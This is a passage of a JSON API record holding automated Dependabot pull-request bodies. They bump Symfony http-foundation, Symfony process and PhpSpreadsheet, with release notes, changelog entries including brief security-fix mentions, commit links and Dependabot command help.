\u003ccode\u003e$subtypeFallback\u003c/code\u003e to \u003ccode\u003eRequest::getFormat()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eRemove the following deprecated session options from \u003ccode\u003eNativeSessionStorage\u003c/code\u003e: \u003ccode\u003ereferer_check\u003c/code\u003e, \u003ccode\u003euse_only_cookies\u003c/code\u003e, \u003ccode\u003euse_trans_sid\u003c/code\u003e, \u003ccode\u003esid_length\u003c/code\u003e, \u003ccode\u003esid_bits_per_character\u003c/code\u003e, \u003ccode\u003etrans_sid_hosts\u003c/code\u003e, \u003ccode\u003etrans_sid_tags\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eTrigger PHP warning when using \u003ccode\u003eRequest::sendHeaders()\u003c/code\u003e after headers have already been sent; use a \u003ccode\u003eStreamedResponse\u003c/code\u003e instead\u003c/li\u003e\n\u003cli\u003eAdd arguments \u003ccode\u003e$v4Bytes\u003c/code\u003e and \u003ccode\u003e$v6Bytes\u003c/code\u003e to \u003ccode\u003eIpUtils::anonymize()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd argument \u003ccode\u003e$partitioned\u003c/code\u003e to \u003ccode\u003eResponseHeaderBag::clearCookie()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd argument \u003ccode\u003e$expiration\u003c/code\u003e to \u003ccode\u003eUriSigner::sign()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eRemove \u003ccode\u003eRequest::get()\u003c/code\u003e, use properties \u003ccode\u003e-\u0026gt;attributes\u003c/code\u003e, \u003ccode\u003equery\u003c/code\u003e or \u003ccode\u003erequest\u003c/code\u003e directly instead\u003c/li\u003e\n\u003cli\u003eRemove accepting null \u003ccode\u003e$format\u003c/code\u003e argument to \u003ccode\u003eRequest::setFormat()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003e#[WithHttpStatus]\u003c/code\u003e to define status codes: 404 for \u003ccode\u003eSignedUriException\u003c/code\u003e and 403 for \u003ccode\u003eExpiredSignedUriException\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for the \u003ccode\u003eQUERY\u003c/code\u003e HTTP method\u003c/li\u003e\n\u003cli\u003eAdd support for structured MIME suffix\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eRequest::set/getAllowedHttpMethodOverride()\u003c/code\u003e to list which HTTP methods can be overridden\u003c/li\u003e\n\u003cli\u003eDeprecate using \u003ccode\u003eRequest::sendHeaders()\u003c/code\u003e after headers have already been sent; use a \u003ccode\u003eStreamedResponse\u003c/code\u003e instead\u003c/li\u003e\n\u003cli\u003eDeprecate method \u003ccode\u003eRequest::get()\u003c/code\u003e, use properties \u003ccode\u003e-\u0026gt;attributes\u003c/code\u003e, \u003ccode\u003equery\u003c/code\u003e or \u003ccode\u003erequest\u003c/code\u003e directly instead\u003c/li\u003e\n\u003cli\u003eMake \u003ccode\u003eRequest::createFromGlobals()\u003c/code\u003e parse the body of PUT, DELETE, PATCH and QUERY requests\u003c/li\u003e\n\u003cli\u003eDeprecate HTTP method override for methods GET, HEAD, CONNECT and TRACE; it will be ignored in Symfony 8.0\u003c/li\u003e\n\u003cli\u003eDeprecate accepting null \u003ccode\u003e$format\u003c/code\u003e argument to \u003ccode\u003eRequest::setFormat()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd support for iterable of string in \u003ccode\u003eStreamedResponse\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eEventStreamResponse\u003c/code\u003e and \u003ccode\u003eServerEvent\u003c/code\u003e classes to streamline server event streaming\u003c/li\u003e\n\u003cli\u003eAdd support for \u003ccode\u003evalkey:\u003c/code\u003e / \u003ccode\u003evalkeys:\u003c/code\u003e schemes for sessions\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eRequest::getPreferredLanguage()\u003c/code\u003e now favors a more preferred language above exactly matching a locale\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003eUriSigner\u003c/code\u003e to use a \u003ccode\u003eClockInterface\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eUriSigner::verify()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd optional \u003ccode\u003e$requests\u003c/code\u003e parameter to \u003ccode\u003eRequestStack::__construct()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd optional \u003ccode\u003e$v4Bytes\u003c/code\u003e and \u003ccode\u003e$v6Bytes\u003c/code\u003e parameters to \u003ccode\u003eIpUtils::anonymize()\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/9381209597ec66c25be154cbf2289076e64d1eab\"\u003e\u003ccode\u003e9381209\u003c/code\u003e\u003c/a\u003e Configure deprecation triggers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/f94b3e7b7dafd40e666f0c9ff2084133bae41e81\"\u003e\u003ccode\u003ef94b3e7\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/cffffd0a2c037117b742b4f8b379a22a2a33f6d2\"\u003e\u003ccode\u003ecffffd0\u003c/code\u003e\u003c/a\u003e [HttpFoundation] Fix session cookie_lifetime not applied in mock session storage\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/fd97d5e926e988a363cef56fbbf88c5c528e9065\"\u003e\u003ccode\u003efd97d5e\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/5bb346d1b4b2a616e5c3d99b3ee4d5810735c535\"\u003e\u003ccode\u003e5bb346d\u003c/code\u003e\u003c/a\u003e [HttpFoundation] Handle empty session data in updateTimestamp() to fix compat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/17de1a39c0ed8dc062df993d65c7269502a2ec78\"\u003e\u003ccode\u003e17de1a3\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/31b030e12f6662a7016add28fe29b70327dacf86\"\u003e\u003ccode\u003e31b030e\u003c/code\u003e\u003c/a\u003e stop using with*() without expects()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/36ba5c7a025c05a92cd4a753abbe1781442c8414\"\u003e\u003ccode\u003e36ba5c7\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/31e2a27d480546f031bd4fc6f1ec8a7abdd62bb1\"\u003e\u003ccode\u003e31e2a27\u003c/code\u003e\u003c/a\u003e BinaryFileResponse: always return 206 if Range is valid\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/http-foundation/commit/669ac23030db4cc4314e7a9ada4e258752266ec1\"\u003e\u003ccode\u003e669ac23\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/symfony/http-foundation/compare/v7.3.0...v7.4.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/process` from 7.3.0 to 7.4.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/process/releases\"\u003esymfony/process's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.4.8\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.7...v7.4.8\"\u003ehttps://github.com/symfony/process/compare/v7.4.7...v7.4.8\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/process/issues/63611\"\u003e#63611\u003c/a\u003e  Throw InvalidArgumentException when env block exceeds Windows limit (Nadim AL ABDOU)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.5\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.4...v7.4.5\"\u003ehttps://github.com/symfony/process/compare/v7.4.4...v7.4.5\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-24739  Fix escaping for MSYS on Windows (nicolas-grekas)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/process/issues/63164\"\u003e#63164\u003c/a\u003e  Fix escaping for MSYS on Windows (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.4\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.3...v7.4.4\"\u003ehttps://github.com/symfony/process/compare/v7.4.3...v7.4.4\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/process/issues/63004\"\u003e#63004\u003c/a\u003e  Ignore invalid env var names (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.3\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.2...v7.4.3\"\u003ehttps://github.com/symfony/process/compare/v7.4.2...v7.4.3\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/symfony/issues/62775\"\u003esymfony/symfony#62775\u003c/a\u003e [Process] Fix dealing with broken stdin pipes (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.0\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.0-RC3...v7.4.0\"\u003ehttps://github.com/symfony/process/compare/v7.4.0-RC3...v7.4.0\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eno significant changes\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.0-RC1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.4.0-BETA2...v7.4.0-RC1\"\u003ehttps://github.com/symfony/process/compare/v7.4.0-BETA2...v7.4.0-RC1\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eno significant changes\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.0-BETA1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.3.4...v7.4.0-BETA1\"\u003ehttps://github.com/symfony/process/compare/v7.3.4...v7.4.0-BETA1\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eno significant changes\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.3.11\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.3.10...v7.3.11\"\u003ehttps://github.com/symfony/process/compare/v7.3.10...v7.3.11\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-24739  Fix escaping for MSYS on Windows (nicolas-grekas)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/process/issues/63164\"\u003e#63164\u003c/a\u003e  Fix escaping for MSYS on Windows (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.3.10\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.3.9...v7.3.10\"\u003ehttps://github.com/symfony/process/compare/v7.3.9...v7.3.10\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/process/issues/63004\"\u003e#63004\u003c/a\u003e  Ignore invalid env var names (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.3.9\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/process/compare/v7.3.8...v7.3.9\"\u003ehttps://github.com/symfony/process/compare/v7.3.8...v7.3.9\u003c/a\u003e)\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/60f19cd3badc8de688421e21e4305eba50f8089a\"\u003e\u003ccode\u003e60f19cd\u003c/code\u003e\u003c/a\u003e Configure deprecation triggers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/95b070ee7180a0d49d48786fccf3b935c01d6f3b\"\u003e\u003ccode\u003e95b070e\u003c/code\u003e\u003c/a\u003e [Process] Throw InvalidArgumentException when env block exceeds Windows limit\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/608476f4604102976d687c483ac63a79ba18cc97\"\u003e\u003ccode\u003e608476f\u003c/code\u003e\u003c/a\u003e Merge branch '7.3' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/81fe4ea2c3b8677fa2adfd8e48ba42374ede0e3b\"\u003e\u003ccode\u003e81fe4ea\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/c46e854e79b52d07666e43924a20cb6dc546644e\"\u003e\u003ccode\u003ec46e854\u003c/code\u003e\u003c/a\u003e [Process] Fix escaping for MSYS on Windows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/626f07a53f4b4e2f00e11824cc29f928d797783b\"\u003e\u003ccode\u003e626f07a\u003c/code\u003e\u003c/a\u003e Merge branch '7.3' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/4424bc14e7dedec472440cc991f961f22343caaa\"\u003e\u003ccode\u003e4424bc1\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/c593135be689b21e6164b1e8f6f5dbf1506b065c\"\u003e\u003ccode\u003ec593135\u003c/code\u003e\u003c/a\u003e [Process] Adjust Process mustRun method phpdoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/f532042054c29ec9181b94ec5d5a42736c052eb1\"\u003e\u003ccode\u003ef532042\u003c/code\u003e\u003c/a\u003e Merge branch '7.3' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/process/commit/6d13a9300772cf6f22f490574b80d9bf3481d07a\"\u003e\u003ccode\u003e6d13a93\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.3\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/symfony/process/compare/v7.3.0...v7.4.8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/mahmoud2001858833/order/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/mahmoud2001858833/order/pull/27","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mahmoud2001858833%2Forder/issues/27","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/27/packages"}},{"old_version":"2.4.0","new_version":"2.4.5","update_type":"patch","path":null,"pr_created_at":"2026-04-28T22:53:12.000Z","version_change":"2.4.0 → 2.4.5","issue":{"uuid":"4346741679","node_id":"PR_kwDOCzR3bM7WhFEn","number":1218,"state":"open","title":"chore(deps): Bump phpoffice/phpspreadsheet from 2.4.0 to 2.4.5","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-28T22:53:12.000Z","updated_at":"2026-04-28T22:57:01.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"2.4.0","new_version":"2.4.5","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 2.4.0 to 2.4.5.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.4.5\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.4.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.4.3\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.4.2\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5. This is the last version of Php which can be used with this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePhp8.5 deprecates use of null as array index. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4635\"\u003e#4635\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4635\"\u003ePHPOffice/PhpSpreadsheet#4635\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.4.1\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOption for Readers to create a new blank sheet if none match LoadSheetsOnly list. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4622\"\u003e#4622\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4622\"\u003ePHPOffice/PhpSpreadsheet#4622\u003c/a\u003e) Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4618\"\u003e#4618\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4618\"\u003ePHPOffice/PhpSpreadsheet#4618\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eRemove \u003ccode\u003eimagedestroy\u003c/code\u003e from MemoryDrawing. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4625\"\u003e#4625\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4625\"\u003ePHPOffice/PhpSpreadsheet#4625\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCompatibility changes for Php 8.5. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4600\"\u003e#4600\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4600\"\u003ePHPOffice/PhpSpreadsheet#4600\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4614\"\u003e#4614\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4614\"\u003ePHPOffice/PhpSpreadsheet#4614\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4594\"\u003e#4594\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4594\"\u003ePHPOffice/PhpSpreadsheet#4594\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4588\"\u003e#4588\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4588\"\u003ePHPOffice/PhpSpreadsheet#4588\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/2.4.5/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 2.4.5\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 2.4.4\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-01-10 - 2.4.3\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-11-24 - 2.4.2\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5. This is the last version of Php which can be used with this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePhp8.5 deprecates use of null as array index. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4635\"\u003e#4635\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4635\"\u003ePHPOffice/PhpSpreadsheet#4635\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-09-03 - 2.4.1\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOption for Readers to create a new blank sheet if none match LoadSheetsOnly list. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4622\"\u003e#4622\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4622\"\u003ePHPOffice/PhpSpreadsheet#4622\u003c/a\u003e) Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4618\"\u003e#4618\u003c/a\u003e](\u003ca 